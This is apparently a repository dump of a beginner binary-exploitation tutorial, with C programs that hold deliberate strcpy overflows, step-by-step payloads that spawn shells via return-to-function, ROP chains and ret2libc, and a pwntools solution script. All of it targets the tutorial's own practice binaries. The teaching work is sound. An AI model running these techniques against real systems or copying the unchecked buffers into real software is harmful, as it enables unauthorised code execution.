[
  {
    "path": "README.md",
    "content": "# how2exploit_binary: get your hack on.\n\n### A note from the creator\n\nGreetings, fellow hacker, hobbyist, or computer enthusiast. If you've been\nlooking for a place to start learning binary exploitation, then you're in luck.\nThis tutorial is intended for anyone with experience in coding, ideally C or\nC++, but I only knew Python when I started.\n\nWritten by someone who is just barely better than \"incompetent,\" I'll be\nexplaining how I learned my skills. These tutorials will be a bit long winded,\nbut hopefully they will be informative and entertaining. Please feel free to\ncontact me about any clarifications that should be included in the tutorials.\n\n**This is intended for Linux. It's free if you don't already have it. Don't\nwant to dual boot? Get a VM.**\n\n-Best of luck\n\n[Bretley](https://github.com/Bretley)\n\n## The Grand Glossary of Terms\n\nI've compiled this list of as many useful things as I could find. It contains\nall sorts of goodies that I wish I had found or had explained to me earlier. If\nyou have a question, it can probably be answered in here. Otherwise, get your\nGoogle-Fu on\n\n* [The Glossary](terms)\n\n## External Tools.\n\nI strongly recommend you install and use the following tools to make your life\na bit easier:\n\n* [longld/peda](https://github.com/longld/peda/): I use this tool in all of\n  these tutorials. It provides a wide range of useful functions and makes `gdb`\n  far more user friendly. Just follow the installation instructions in the repo.\n\n* [Gallopsled/pwntools](https://github.com/Gallopsled/pwntools): pwntools is an\n  exploit framework built in my favorite language, python. It has a whole slew\n  of useful functions and chicanery that makes the exploit process more fun and\n  less painful. Install with: `$ sudo pip install pwntools`\n\n## Introductory Tutorials:\n\n* [Setup Script](./install.sh)\n* [Intro 1: What is a binary, really?](intro-1)\n    * [Companion Video](https://youtu.be/6cNbKnxbAWw)\n    * [Areece x86 Calling Conventions](http://codearcana.com/posts/2013/05/21/a-brief-introduction-to-x86-calling-conventions.html)\n* [Intro 2: Screwing around with the stack](intro-2)\n\n## Buffer Overflows and ROP:\n\n* [1:   The power of SEGFAULT](exercise-1)\n* [2:   Build your own `system()`](exercise-2)\n* [3:   Follow the Yellow Brick Functions](exercise-3)\n* [3.5: Learning pwntools](exercise-3.5)\n* [4:   Pay a Visit to Your Local Library](exercise-4)\n\n## Heap Exploitation:\n\n* More to come here soon ;)\n"
  },
  {
    "path": "exercise-1/README.md",
    "content": "# The power of SEGFAULT\n\n**Credit to [PicoCTF 2013](2013.picoctf.com) for problem**\n\nConsider our file for this exercise [overflow2.c](overflow2.c):\n\n```C\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n/* This never gets called! */\nvoid give_shell(){\n    gid_t gid = getegid();\n    setresgid(gid, gid, gid);\n    system(\"/bin/sh -i\");\n}\n\nvoid vuln(char *input){\n    char buf[16];\n    strcpy(buf, input);\n}\n\nint main(int argc, char **argv){\n    if (argc > 1)\n        vuln(argv[1]);\n    return 0;\n}\n```\n\nLooking at the code for this program, you'll see the function `strcpy()` is called with our argument as a parameter. Since there are no size checks on our input, we can try to manipulate the stack just like before. You'll notice that there is no way `give_shell()` gets called. Not yet at least ;)\n\n```\n$ ./overflow2 $(python -c 'print \"A\"*24')\nSegmentation fault (core dumped)\n```\n\nSegmentation fault? What's this? Simply put, a segmentation fault simply means that the program tried to access an address that isn't there. Let's use `strace` to see what's really happening.\n\n```\n$ strace ./overflow2 $(python -c 'print \"A\"*32')\n...\n...\n--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---\n```\n\nThe address in question is `0x41414141`, or four \"A\"s. What does this mean? Consider the disassembly of the function `vuln()`, as well as `main()` where it's called.\n\n```\n$ gdb -q ./overflow2\nReading symbols from ./overflow2...(no debugging symbols found)...done.\ngdb-peda$ disas main\n...\n   0x08048516 <+26>:   call   0x80484e2 <vuln>\n   0x0804851b <+31>:    mov    $0x0,%eax\n...\ngdb-peda$ disas vuln\nDump of assembler code for function vuln:\n   0x080484e2 <+0>: push   %ebp\n   0x080484e3 <+1>: mov    %esp,%ebp\n   0x080484e5 <+3>: sub    $0x28,%esp\n   0x080484e8 <+6>: mov    0x8(%ebp),%eax\n   0x080484eb <+9>: mov    %eax,0x4(%esp)\n   0x080484ef <+13>:    lea    -0x18(%ebp),%eax\n   0x080484f2 <+16>:    mov    %eax,(%esp)\n   0x080484f5 <+19>:    call   0x8048360 <strcpy@plt>\n   0x080484fa <+24>:    leave\n   0x080484fb <+25>:    ret\nEnd of assembler dump.\n```\n\nYou might remember from [Intro 2](../intro-2) that you can overwrite values on the stack with a `strcpy()` vulnerability. In the lines of `main()`, control is passed to the function `vuln()`. However, `vuln()` needs to know where to return to in `main()` when it finishes. This is called a return address. In this case, `vuln()` should jump back to `0x0804851b`, the instruction right after `main()` calls `vuln()`. When we get a SEGFAULT that we control, that means that we've overwritten the return address. What can we do with this? The possibilities are pretty much endless. You have control over the code's flow, so maybe we can call some other function, namely `give_shell()`.\n\n```\n$ objdump -d overflow2 | grep give_shell\n080484ad <give_shell>:\n```\n\nNow that we have the address of a useful function, let's see if we can supply *our own* return address. First, as you may remember from the last tutorial, some of these characters aren't printable. We'll need to convert it to an escape sequence and reverse the order, leaving us with this: `\"\\xad\\x84\\x04\\x08\"`. Now we can substitute it in!\n\n```\n$ ./overflow2 $(python -c 'print \"A\"*28 + \"\\xad\\x84\\x04\\x08\"')\n$ ls\noverflow2  overflow2.c  README.md\n```\n\nWe now have a shell!\n"
  },
  {
    "path": "exercise-1/overflow2.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n/* This never gets called! */\nvoid give_shell(){\n    gid_t gid = getegid();\n    setresgid(gid, gid, gid);\n    system(\"/bin/sh -i\");\n}\n\nvoid vuln(char *input){\n    char buf[16];\n    strcpy(buf, input);\n}\n\nint main(int argc, char **argv){\n    if (argc > 1)\n        vuln(argv[1]);\n    return 0;\n}\n"
  },
  {
    "path": "exercise-2/README.md",
    "content": "# Build your own `system()`\n\nWell, life is tough. Unlike in the first overflow exercise, there's no included function that you can call to get a shell. But let's try and get a shell anyways.\n\n```C\n# include<stdio.h>\n# include<stdlib.h>\n# include<string.h>\n\nint main(int argc, char **argv) {\n    if (argc>1) {\n        gid_t gid = getegid();\n        setresgid(gid, gid, gid);\n        printf(\"Good thing you don't have /bin/sh\");\n        printf(\"\\nGood luck getting a shell.\\n\");\n        system(\"echo You Lose!\\n\");\n        char buf[24];\n        strcpy(buf,argv[1]);\n    }\n    return 0;\n}\n```\n\nNow unlike the last problem, you might notice that there is no call to `system(\"/bin/sh\")`. This means we're going to have to be a bit more clever.\n\nLet's take a look at the disassembly to learn a bit more about `system()`\n\n```gdb\n$ gdb -q ./overflow\nReading symbols from ./overflow...(no debugging symbols found)...done.\ngdb-peda$ disas main\nDump of assembler code for function main:\n...\n   0x0804853c <+47>:   call   0x8048400 <setresgid@plt>\n   0x08048541 <+52>:    movl   $0x8048620,(%esp)\n   0x08048548 <+59>:    call   0x8048390 <printf@plt>\n   0x0804854d <+64>:    movl   $0x8048642,(%esp)\n   0x08048554 <+71>:    call   0x80483c0 <puts@plt>\n   0x08048559 <+76>:    movl   $0x804865e,(%esp)\n   0x08048560 <+83>:    call   0x80483d0 <system@plt>\n```\n\nNow what is `system@plt`? This is a crucial part. This binary is dynamically linked. This means that the binary makes calls to an actual libc file that gets put into memory. Luckily for us, dynamically linked binaries have PLT stubs. Since ASLR randomizes libc addresses as well, the binary needs some way to reliably call the functions it uses. The PLT is a wrapper function for the actual code in libc. **The PLT is a part of the binary, it's address doesn't change.** If you call `system@plt`, you'll call `system()`. So how are we going to do this? Since the PLT is a part of the binary, we'll use `objdump`.\n\n```objdump\n$ objdump -d overflow | grep system\n080483d0 <system@plt>:\n 8048560:   e8 6b fe ff ff          call   80483d0 <system@plt>\n```\n\nNow let's try to break the binary.\n\n```salt\n$ strace ./overflow $(python -c 'print \"A\"*44')\n...\n--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---\n```\n\nWe get control of `$eip` after 40 bytes. `$eip` is the instruction pointer register. This is the same as overwriting a return value. It simply means that we have control over the control flow. Now let's supply our address.\n\n```shell\n./overflow $(python -c 'print \"A\"*40 + \"\\xd0\\x83\\x04\\x08\"')\nGood thing you don't have /bin/sh\nGood luck getting a shell.\nYou Lose!\nsh: 1: ������: not found\nSegmentation fault (core dumped)\n```\n\nNow this is really weird. What happened here is that we called `system()`. We didn't provide any arguments for `system()` so it just pulled some junk from the stack. Calling a function in an exploit has to take this form:\n\n\\[address of function\\] \\[return address\\] \\[argument\\]\n\nNow when the programmer wrote this, (I wrote this one :P) he thought he could be smart and make fun of you for not having a `\"/bin/sh\"` string. However, he didn't realize that by including that string in the code, the string is in the binary. We can use `gdb` to find the string!\n\n```gdb\n$ gdb -q ./overflow\nReading symbols from overflow...(no debugging symbols found)...done.\ngdb-peda b*main\nBreakpoint 1 at 0x804850d\ngdb-peda$ r\nBreakpoint 1, 0x0804850d in main ()\ngdb-peda$ find /bin/sh\nSearching for '/bin/sh' in: None ranges\nFound 3 results, display max 3 items:\noverflow : 0x804863a (\"/bin/sh\")\noverflow : 0x804963a (\"/bin/sh\")\n    libc : 0xf7f82a24 (\"/bin/sh\")\n```\n\nNow you'll notice that two of these are in the binary. I'll just pick the first one and run with it. Finally, our finished exploit looks like so:\n\n```shell\n./overflow $(python -c 'print \"A\"*40 + \"\\xd0\\x83\\x04\\x08\" + \"FAKE\" +\n\"\\x3a\\x86\\x04\\x08\"')\n```\n"
  },
  {
    "path": "exercise-2/overflow.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n\nint main(int argc, char **argv) {\n    if (argc>1) {\n        gid_t gid = getegid();\n        setresgid(gid, gid, gid);\n        printf(\"Good thing you don't have /bin/sh\");\n        printf(\"\\nGood luck getting a shell.\\n\");\n        system(\"echo You Lose!\\n\");\n        char buf[24];\n        strcpy(buf,argv[1]);\n        return 0;\n    }\n    else {\n        return 0;\n    }\n}\n"
  },
  {
    "path": "exercise-3/.gdb_history",
    "content": "fin sh\nb*main\nr\nfind sh\nfind sh binary\nfile overflow\ncler\nclear\ndumprop binary\nropsearch binary\nb*main\nr\nropsearch binary\nropsearch\nropsearch \"\"\nropsearch \"pop\"\nropsearch \"\"\nropsearch binary1\nq\nclear\nb*main\nr\nclear\ndumprop\nropsearch \"\" \nclear\nfind /b\np strcpy\nchecksec\nq\np bss\ninfo address __bss_start \nq\nq\nfind \"/b\" binary\nb*main\nr\nfind \"/b\" binary\nfind \"in/\" binary\nfind \"sh\" binary\nropsearch \"\" binary\nb*main\nr\nropsearch \"\" binary\nropsearch \"\" binary | grep pop\nropsearch \"\" binary \nset arg $(python -c 'print \"A\"*76 + \"\\x60\\x83\\x04\\x08\" + \"\\x2c\\xa0\\x04\\x08\" + \"\\x9e\\x85\\x04\\x08\" + \"\\x50\\x83\\x04\\x08\" + \"\\x2c\\xa0\\x04\\x08\" + \"\\x2c\\xa0\\x04\\x08\" + \"\\x29\\x95\\x04\\x08\"  + \"\\x50\\x83\\x04\\x08\" + \"\\x50\\x83\\x04\\x08\" + \"\\x2c\\xa0\\x04\\x08\" + \"\\x96\\x86\\x04\\x08\"+ \"\\x80\\x83\\x04\\x08\" + \"JUNK\" + \"\\x2c\\xa0\\x04\\x08\"')\nb*main\nr\nni\nq\nfile overflow\nfind /b binary\nb*main \nr\nfind /b binary\nfind in/ binary\nfind sh binary\nq\nfile overflow\ninfo addr __bss_start \nzdq\nq\nq\nq\nclear\nls\nclear\nq\nb*main\nr\nropsearch \"\" binaru\nropsearch \"\" binary\nclear\nclear\nls\nfind \"/b\" binary\nfind \"in/\" binary\nfind \"sh\" binary\nropsearch \"\" binary\ndd\nq\nb*main\nr\ncelar\nls\nropsearch \"\" binary\nq\nclear\nls\nclear\nq\n"
  },
  {
    "path": "exercise-3/README.md",
    "content": "# Follow the Yellow Brick Functions\n\nIn this problem, I smartened up. Nowhere in the binary will you find `\"/bin/sh\"`\n\n```C\n# include<stdio.h>\n# include<string.h>\nint main(int argc, char **argv) {\n    putenv(\"PATH=\");\n    printf(\"I've broken up my system call!\\n\");\n    printf(\"You think I've included what you need for this? You wish\\n\");\n    char user_buf[64]= \"\";\n    if (argc > 1) {\n        strcpy(user_buf,argv[1]);\n    }\n    else {\n        printf(\"usage: ./overflow [input]\\n\");\n        return 0;\n        }\n    char buf1[10] = \"/b\";\n    char buf2[8] = \"in/\";\n    char buf3[5] = \"date\";\n    strcat(buf2,buf3);\n    strcat(buf1,buf2);\n    system(buf1);\n    printf(\"Aren't these string functions wonderful?\\n\");\n    return 0;\n}\n```\n\nAs you'll remember from the previous exercise, putting `\"/bin/sh\"` in the binary was a mistake. This problem is geared very similarly with a little bit of extra finesse. First things first, we'll find the offset of `%eip`\n\n```gdb\n$ strace ./overflow $(python -c 'print \"A\"*76 + \"BBBB\"')\n...\n--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---\n```\n\nAfter 76 bytes we have `%eip`! From here we have to get a bit clever. If you take anything from this exercise, it's this: **If a function is in the binary an PIE is not enabled, you have access to the function.** This means we can access to the `strcat()` and `strcpy()` functions. We can use these to cleverly get ourselves a shell.\n\nNow, for a quick introduction to the `.bss` segment. `.bss` refers to the part of data memory used by many compilers and linkers for holding statically-allocated variables that are not explicitly initialized to any value. Regardless of what the program uses the `.bss` segment for, know that it's a scratch pad for hackers. We can use it to reliably store data when the stack is randomized. We could use the GOT, but it might mess up functions we need. Knowing this, how can we get a shell?\n\nThe answer lies in the functions used. We have the strings `\"/b\"` and `\"in/\"` in the binary. We also have `\"sh\"` at the end of the second print statement! :D\n\nLet's use `objdump` to get some function addresses:\n\n```objdump\n$ objdump -d overflow | grep \">:\"\n...\n08048370 <strcat@plt>:\n08048380 <strcpy@plt>:\n...\n080483a0 <system@plt>:\n```\n\nNext, we will need to find the start of the `.bss` segment:\n\n```gdb\n$ gdb -q ./overflow\nReading symbols from ./overflow...(no debugging symbols found)...done.\ngdb-peda$ info address __bss_start\nSymbol \"__bss_start\" is at 0x804a030 in a file compiled without debugging.\n```\n\nNow our exploit (abstractly) is as follows:\n\n```c\nstrcpy(&bss, &\"/b\" );\nstrcat(&bss, &\"in/\");\nstrcat(&bss,&\"sh\");\nsystem(&bss)\n```\n\nWe'll need the addresses of strings in the binary:\n\n```gdb\n$ gdb -q ./overflow\nReading symbols from ./overflow...(no debugging symbols found)...done.\ngdb-peda$ b*main\nBreakpoint 1 at 0x80484dd\ngdb-peda$ r\nStarting program: /vagrant/how2exploit_binary/overflow-3/overflow\nBreakpoint 1, 0x080484dd in main ()\ngdb-peda$ find \"/b\" binary\nSearching for '/b' in: binary ranges\nFound 2 results, display max 2 items:\noverflow : 0x804854e (<main+113>:   das)\noverflow : 0x804954e --> 0x622f ('/b')\ngdb-peda$ find \"in/\" binary\nSearching for 'in/' in: binary ranges\nFound 2 results, display max 2 items:\noverflow : 0x8048565 (<main+136>:   imul   $0x2444c700,0x2f(%esi),%ebp)\noverflow : 0x8049565 --> 0x2f6e69 ('in/')\ngdb-peda$ find \"sh\" binary\nSearching for 'sh' in: binary ranges\nFound 2 results, display max 2 items:\noverflow : 0x80486ce --> 0x75006873 ('sh')\noverflow : 0x80496ce --> 0x75006873 ('sh')\n```\n\nNow that we have everything we need, we can learn one more important concept: Chaining Functions. If you only need to call one function to get a shell, you don't need to chain. Otherwise, we need to chain functions.\n\nIn order to chain functions together we need to somehow remove the arguments from the stack. As you know from before, standard x86 function calls look like:\n\n\\[function address\\] \\[return address\\] \\[arg1\\] \\[arg2\\] ...\n\nThe first function will run, then the return address, then the program will SEGFAULT when it tries to run the argument as code. We can't have the program trying to run our arguments, so we need to pop them off of the stack.\n\nThis requires the use of Return Oriented Programming, or a ROP exploit. ROP uses any set of instructions in a binary that ends with a `ret` instruction. In order to find these, you can use `ropshell.com`, `gdb-peda`, or `ROPgadget`. We need a `pop;pop;ret` gadget since we need to pop two arguments off of the stack for every function call except system. Since system is our last call, we don't need a `pop;ret` gadget for it.\n\nI'm using `gdb-peda` in this example.\n\n```gdb\n$ gdb -q ./overflow\nReading symbols from ./overflow...(no debugging symbols found)...done.\ngdb-peda$ b*main\nBreakpoint 1 at 0x80484dd\ngdb-peda$ r\nStarting program: /vagrant/how2exploit_binary/overflow-3/overflow\n...\nBreakpoint 1, 0x080484dd in main ()\ngdb-peda$ ropsearch \"\" binary\nSearching for ROP gadget: '' in: binary ranges\n...\n0x0804863e : (b'5f5dc3')    pop %edi; pop %ebp; ret\n```\n\nLuckily for us, the binary has the gadget we need! Chaining functions will take\nthis form in our exploit (and future ones, too!)\n\n\\[&function\\] \\[&rop_gadget\\] \\[&arg1\\] \\[&arg2\\] \\[&next_function\\]\n\nYou can use any number of arguments as long as you have a rop gadget with the same number of pops.\n\nLet's give the exploit a try:\n\n```\n/overflow $(python -c 'print \"A\"*76 +\n\"\\x80\\x83\\x04\\x08\" + \"\\x3e\\x86\\x04\\x08\" + \"\\x30\\xa0\\x04\\x08\" +\n\"\\x4e\\x95\\x04\\x08\" + \"\\x70\\x83\\x04\\x08\" + \"\\x3e\\x86\\x04\\x08\" +\n\"\\x30\\xa0\\x04\\x08\" + \"\\x65\\x95\\x04\\x08\" + \"\\x70\\x83\\x04\\x08\" +\n\"\\x3e\\x86\\x04\\x08\" + \"\\x30\\xa0\\x04\\x08\" + \"\\xce\\x96\\x04\\x08\" +\n\"\\xa0\\x83\\x04\\x08\" + \"FAKE\" + \"\\x30\\xa0\\x04\\x08\"')\n```\n\nThe layout of the exploit looks like the following:\n\n```\n<overflow> +\n<strcpy> + <pop pop ret> + <bss_start>\n<\"/b\"> + <strcat> + <pop pop ret>\n<bss_start> + <\"/in\"> + <strcat>\n<pop pop ret> + <bss_start> + <\"sh\">\n<system> + <FAKE> + <bss_start>\n```\n\n\nYou should get a shell, although you won't be able to do much as we didn't set privs. The concept, however, still stands.\n"
  },
  {
    "path": "exercise-3/overflow.c",
    "content": "#include<stdio.h>\n#include<string.h>\nint main(int argc, char **argv) {\n    putenv(\"PATH=\");\n    printf(\"I've broken up my system call!\\n\");\n    printf(\"You think I've included what you need for this? You wish\\n\");\n    char user_buf[64]= \"\";\n    if (argc > 1) {\n        strcpy(user_buf,argv[1]);\n    }\n    else {\n        printf(\"usage: ./overflow [input]\\n\");\n        return 0;\n        }\n    char buf1[10] = \"/b\";\n    char buf2[8] = \"in/\";\n    char buf3[5] = \"date\";\n    strcat(buf2,buf3);\n    strcat(buf1,buf2);\n    system(buf1);\n    printf(\"Aren't these string functions wonderful?\\n\");\n    return 0;\n}\n"
  },
  {
    "path": "exercise-3.5/README.md",
    "content": "# pwntools Overview\n\n**Documentation: https://pwntools.readthedocs.io**\n\nFirst things first:\n\n```python\nfrom pwn import *\n```\n\nThat's just a generic import statement.\n\n```python\ncontext(arch='i386', os='linux')\n```\n\nThis just sets the context for other functions that we'll describe later.\n\n```python\nbinary = ELF(\"some_challenge\")\nlibc = ELF(\"some_libc\")\n```\n\nThis part adds two ELF objects, binary and libc. ELF objects are supremely useful -- they give you access to a wide array of methods and data fields. I almost always have both of these lines in my script, even if the libc one is commented out.\n\n```python\nr = process(\"./some_challenge\")\n```\n\nThis simply executes the challenge (in the same directory.)\n\nAlternatively:\n\n```python\nr = remote(\"127.0.0.1\",1337) #<-- Replace with actual HOST,PORT\n```\n\nwill run it remotely (many CTFs will not give you a full shell, just a host and\na port to connect to the binary.)\n\nMany of you will remember taking adresses and turning them into python\nescape sequences by hand.\n\nIf the address of the `write()` function is `0xdeadbeef`, the escaped address for `write()` would be `\\xef\\xbe\\xad\\xde`.\n\n`pwntools` can take care of this for us!\n\n```python\nwrite = p32(binary.symbols[\"write\"])\n```\n\nThis \"packs\" (converts to the escape seqence, sort of) the address of `write()` for us on a 32 bit machine. `p64()` also exists, for 64 bit machines. Another thing to be cognizant of is the difference between Big and Little Endian memory encoding. Make sure you know what format the system you're writing an exploit for is using.\n\nAssuming `r` is an instantiated process or remote, you can now use these methods to communicate with the binary.\n\n```python\nr.sendline(\"This sends a string with a newline appended to the end\")\nr.send(\"This also sends a string\")\n```\n\nReading this information is one thing. Getting real experience is another.\n**At this point I would strongly recommend solving the first 3 challenges using pwntools.**\n"
  },
  {
    "path": "exercise-4/.gdb_history",
    "content": "file exercise-4\ndisas main\nb*main+194\nr < <(python -c 'print \"A\"*140 + \"\\x7d\\x84\\x04\\x08\" + \"A\"*148')\nx /150wx $esp\nx /150wx $esp-0x40\nx /150wx $esp+0x40\nx /150wx $esp-0x40\nx /150wx $esp-0x100\nq\np &bss\np &__bss_start\ninfo file\np &__bss_start\nq\n"
  },
  {
    "path": "exercise-4/README.md",
    "content": "# Pay your local library a visit\n\nAt this point you're probably used to hunting through binaries for useful functions or code that you can use to get a shell. But what do you do without a call to `system()`?\n\nThe simple answer: get a shell anyways. :)\n\nThe long answer is a bit more complicated. This attack is called a \"Return to `libc`\", or `ret2libc` for short. If you don't remember the PLT and GOT from before, now is a good time to check the [glossary](../terms) and maybe do some googling. You'll recall that ASLR randomizes the libc address, but the good news is that with arbitrary `read()` and `write()` calls, you can easily circumvent this.\n\nThis binary has what we call Dynamic Input, which is some super fancy ego-inflating jargon that means we can change inputs in the same program. Basically any program where you can trigger the vulnerability twice (or more) with different exploits in the same run is dynamic. If it still doesn't make sense, just stay tuned.\n\nIf you haven't already, run through [Exercise 3.5: Intro to pwntools](../exercise-3.5)\n\nSeriously, go do that.\n\nNow that you've made it this far, I'll give a brief overview of this style of exploit. The libc functions that the PLT stubs call aren't just some magical ethereal functions. They're real and they're mapped to a real page in memory with an address that you can call if you're clever. **The entire libc is in the binary.** From here, we exploit the fact that truly randomizing everything is computationally expensive. Instead, ASLR only randomizes the **base address** of the libc. This means that `&function_1 - &function_2` is constant as long as you're using the same libc file. With this in mind, the goal is to leak (`write()`) the address of some libc function to stdout. we then take that address, compute the address of system, call `main()` (or whatever function contains the vulnerability) again, and call `system()` with the newly computed address.\n\nStill confused? I was when I first learned this, but I'll try to explain as I go.\n\nFirst, we have to calculate the offset of `%eip`\n\n```shell\n$ python -c 'print \"A\"*140 + \"BBBB\"' | strace ./exercise-4\n...\n--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---\n```\n\nAfter `140 bytes`, we have `%eip`\n\nFrom here, we need to leak the address of a `libc` function.\n\nWe can do this by calling `write(1, &function, 4)`\n\nI'll be using the GOT address of `read()` (remember that the GOT is an array of pointers into libc)\n\n```objdump\n$ objdump -d exercise-4 | grep \">:a\"\n...\n08048370 <write@plt>:\n...\n\n$ objdump -R exercise-4\n...\n0804a00c R_386_JUMP_SLOT   read\n...\n```\n\nWith these addresses, we get the following exploit.\n\n```shell\npython -c 'print \"A\"*140 + \"\\x70\\x83\\x04\\x08\" + \"RETN\" +\n\"\\x01\\x00\\x00\\x00\"+ \"\\x0c\\xa0\\x04\\x08\" + \"\\x04\\x00\\x00\\x00\"' | ./exercise-4\n```\n\nIf you go ahead and run this a few times, you'll get some weird outputs:\n\n```shell\n�+o�Segmentation fault (core dumped)\n�kh�Segmentation fault (core dumped)\n��n�Segmentation fault (core dumped)\n```\n\nThe four bytes before the SEGFAULT are the libc address.\n\nFrom here, we're going to run:\n\n```shell\n$ ldd exercise-4\n    linux-gate.so.1 =>  (0xf76f9000)\n    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf753c000)\n    /lib/ld-linux.so.2 (0xf76fa000)\n```\n\nSince this is a local binary challenge, the `libc` file is just going to be whatever the standard one is on your computer. **The same binary running on a different machine could have a different `libc`, and therefore give you different results.**\n\nAll we have to do is grab a copy of that `libc` and put it in our directory. If you ever exploit a remote binary and you don't have the `libc`, there are plenty of places you can get them online.\n\n```shell\n$ cp /lib/i386-linux-gnu/libc.so.6 ./\n```\n\nNow we need `pwntools`.\n\nWe'll start our script off with the typical items:\n\n```Python\nfrom pwn import *\ncontext(arch='i386', os='linux') # <-- Add the architecture and os\nbinary = ELF(\"exercise-4\")\nlibc = ELF(\"libc.so.6\")\n\nr = process(\"./exercise-4\")\n```\n\nAfter this, we know we'll need the `read()`, `write()`, the GOT address of `read()`, and a `pop; ret` ropgadget, so we add these in.\n\n```python\nwrite_plt = p32(binary.symbols[\"write\"])\nread_GOT = p32(binary.symbols[\"got.read\"])\nread_plt = p32(binary.symbols[\"read\"])\nbss_addr = p32(binary.symbols[\"__bss_start\"])\npop_ret = \"\\x9d\\x85\\x04\\x08\"\n```\n\nNow the binary outputs a line first, so we add:\n\n```python\nr.recvline()\n```\n\nNow we should start building our exploit. We want to try to avoid using the escape strings from before, it makes for nicer code and forces you to use `pwntools` the right way.\n\n```python\nexploit = \"A\"*140                                               # EIP offset\nexploit += write_plt +pop_ret +  p32(1)+ read_GOT + p32(4)      # Call to write()\nexploit += p32(binary.symbols[\"main\"])                          # Call main() again to retrigger the vulnerability\n\n```\n\nNow we want to send the first payload:\n\n```python\nr.sendline(exploit)\n```\n\nNow here's the cool part. Since we know that the program prints out the address of `read()` in the `libc` (remember those funky bytes from earlier before the SEGFAULT?) we can take those and calculate the base address of `libc`. This indirectly means that we can call any function in the standard library.\n\n```python\naddr_read = int(r.recv(4)[::-1].encode(\"hex\"),16)\nr.recvline()\nlibc_base = addr_read - libc.symbols[\"read\"]\nsystem = p32(libc_base + libc.symbols[\"system\"])\n```\n\nLet's break down my hacky `addr_read` line.\n\n1. `recv()` 4 bytes from `r`\n2. Reverses the remaining bytes (because of little endian encoding)  and converts them to hex\n3. Parse that as an integer.\n\nVoila! We now have the address of `read()` in `libc`.\n\nFrom there, we subtract `read()`s address in the regular libc, giving us the base address for this runtime. In the last line, we add the offset of `system()` in the libc to our calculated base. This gives us the address of system for this runtime.\n\nThe best part of this whole show is that the pesky `\"/bin/sh\"` string we need is in `libc`! We can calculate the address of that as well!\n\n```python\nbinsh = p32(libc_base +  libc.search(\"/bin/sh\").next())\n```\n\nNow all we've got to do is send our exploit with some extra padding (it was 140 before, but now it's 148 since we overflow from before the stack frame) and we get a shell.\n\n```python\nr.sendline(\"A\"*148+ system + \"RETN\" + binsh + binsh) # <- 148?????? why 148?\nr.interactive()\n```\n"
  },
  {
    "path": "exercise-4/exercise-4.c",
    "content": "#include <stdio.h>\n#include <string.h>\n\nint main() {\n    char msg[64] = \"Joke's on you, there is no system!\\n\";\n    char buf[64];\n    write (1,&msg,strlen(msg));\n    read(0,buf,256);\n    return 0;\n    }\n"
  },
  {
    "path": "exercise-4/soln_exercise-4.py",
    "content": "from pwn import *\ncontext(arch='i386', os='linux') # <-- Add the architecture and os\nbinary = ELF(\"exercise-4\")\nlibc = ELF(\"libc.so.6\")\n\nwrite_plt = p32(binary.symbols[\"write\"])\nread_GOT = p32(binary.symbols[\"got.read\"])\nread_plt = p32(binary.symbols[\"read\"])\nbss_addr = p32(binary.symbols[\"__bss_start\"])\npop_ret = \"\\x9d\\x85\\x04\\x08\"\n\n\nr=process(\"./exercise-4\")\n\n\"\"\"\nYou can use these to test it as a server over localhost\nr=remote(\"127.0.0.1\",1337)\n\n\nrun this in a different terminal VVVV\nsocat tcp-listen:1337,fork,reuseaddr exec:\"strace ./exercise-4\"\n\"\"\"\nr.recvline()\n\nexploit = \"A\"*140\nexploit += write_plt +pop_ret +  p32(1)+ read_GOT + p32(4) \nexploit += p32(binary.symbols[\"main\"])\n\nr.sendline(exploit)\naddr_read = int(r.recv(4)[::-1].encode(\"hex\"),16)\nr.recvline()\nlibc_base = addr_read - libc.symbols[\"read\"]\nsystem = p32(libc_base + libc.symbols[\"system\"])\nbinsh = p32(libc_base +  libc.search(\"/bin/sh\").next())\nr.sendline(\"A\"*148+ system + \"RETN\" + binsh + binsh) # <- 148?????? why 148?\nr.interactive()\n"
  },
  {
    "path": "install.sh",
    "content": "# Update first\napt-get -y update;\n\n# Basic Programs that need installed\napt-get -y install gdb;\napt-get -y install gdbserver;\napt-get -y install git;\napt-get -y install python-dev;\napt-get -y install socat;\napt-get -y install vim;\napt-get -y install python-pip;\napt-get -y install gcc-multilib;\n\npip install capstone;\n\n# This shouldn't take 3 tries....\npip install pwntools;\npip install pwntools;\npip install pwntools;\n\ngit clone https://github.com/longld/peda.git\necho \"source ~/peda/peda.py\" >> ~/.gdbinit\n"
  },
  {
    "path": "intro-1/README.md",
    "content": "# Intro 1: What is a binary, really?\n\nIn short, a binary is the output file that the computer can actually run when you compile high level code, such as C or C++. I believe in hands on learning, so we can take a look inside one to really find out.\n\nConsider the file [hello_world.c](hello_world.c):\n```C\n# include<stdio.h>\nint main() {\n    printf(\"Hello World!\\n\");\n}\n```\n\nThis is your average C file, more or less. It's got a main function, some includes, and a little bit of code to be run. However, your computer can't actually run it. In order to make it usable, we must compile it:\n\n```shell\n$ gcc -m32 hello_world.c -o hello_world.bin\n```\n\nYou can ignore the `-m32` argument (we'll talk about it later), but the `-o hello_world.bin` simply specifies what the name of the output file is going to be.\n\nFrom here, we can execute it:\n\n```shell\n$ ./hello_world.bin\nHello World!\n```\n\nUnsurprisingly, we get `\"Hello World!\"` as output. But let's go a bit deeper. We can open `gdb (GNU Debugger)` and see what's happening under the hood:\n\n```gdb\n$ gdb -q ./hello_world.bin\nReading symbols from ./hello_world.bin...(no debugging symbols found)...done.\ngdb-peda$ disas main\nDump of assembler code for function main:\n   0x0804841d <+0>:     push   %ebp\n   0x0804841e <+1>:     mov    %esp,%ebp\n   0x08048420 <+3>:     and    $0xfffffff0,%esp\n   0x08048423 <+6>:     sub    $0x10,%esp\n   0x08048426 <+9>:     movl   $0x80484d0,(%esp)\n   0x0804842d <+16>:    call   0x80482f0 <puts@plt>\n   0x08048432 <+21>:    leave\n   0x08048433 <+22>:    ret\nEnd of assembler dump.\ngdb-peda$ quit\n```\n\nYour prompt probably looks like `(gdb)`, whereas mine is `gdb-peda$`. 